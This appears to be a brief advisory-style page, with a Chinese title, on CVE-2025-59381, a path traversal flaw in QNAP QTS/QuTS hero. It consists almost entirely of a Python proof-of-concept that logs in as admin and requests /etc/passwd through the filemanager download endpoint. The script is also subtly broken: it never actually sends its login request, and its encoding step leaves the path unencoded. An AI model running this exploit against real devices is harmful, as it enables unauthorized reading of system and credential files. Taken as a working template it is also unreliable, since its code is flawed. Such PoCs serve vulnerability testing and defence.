CVE-2025-59381 QNAP操作系统路径遍历漏洞

import requests import urllib.parse # CVE-2025-59381 Path Traversal PoC # Target: QNAP QTS/QuTS hero # Authentication required: Administrator account TARGET_URL = "https://target-qnap.local" USERNAME = "admin" PASSWORD = "password" # Construct path traversal payload # Read /etc/passwd as example file_to_read = "/etc/passwd" encoded_path = urllib.parse.quote(file_to_read) payload = f"..{encoded_path}" # Authentication session = requests.Session() login_url = f"{TARGET_URL}/cgi-bin/authLogin.cgi" auth_data = { "username": USERNAME, "password": PASSWORD } # Send authenticated request with path traversal exploit_url = f"{TARGET_URL}/cgi-bin/filemanager/utilRequest.cgi?func=download&source_path={payload}&source_name=passwd" response = session.get(exploit_url, cookies=session.cookies) if response.status_code == 200: print(f"[+] File content retrieved:") print(response.text) else: print(f"[-] Exploitation failed: {response.status_code}")